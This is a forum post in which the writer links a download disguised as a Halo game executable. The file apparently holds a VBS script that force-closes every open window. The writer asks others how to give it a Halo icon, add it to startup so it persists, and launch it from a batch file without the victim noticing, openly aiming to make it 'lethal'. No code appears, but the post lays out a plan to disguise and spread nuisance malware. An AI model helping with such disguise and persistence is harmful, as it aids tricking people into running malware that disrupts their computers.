<http://files.filefront.com/Halo+Gameexe/;11005994;>

ok i discused it as a halo game, does anyone know how i can make the icon of the file a halo icon, also how i can make it save in start up.. right now its non lethal.. well not rly, but once i can get it in start up it will be.. juss wondering if anyone knows how to make vbs save in startup =/

so basicly it mass alt f4's everything, i know others have it out and blah blah blah. but this one i figured out by my self -.-, made this before i relised people put it out in the open.. its like 1 year old but just recently decided to make it lethal... so if anyone could help wit the start up that would ge great

also wat would be great. is this file when u downloadd it automaticly runs right. so if someone could tell me how i can load the vbs in batch without the person having to press the vbs file.

thanks =)
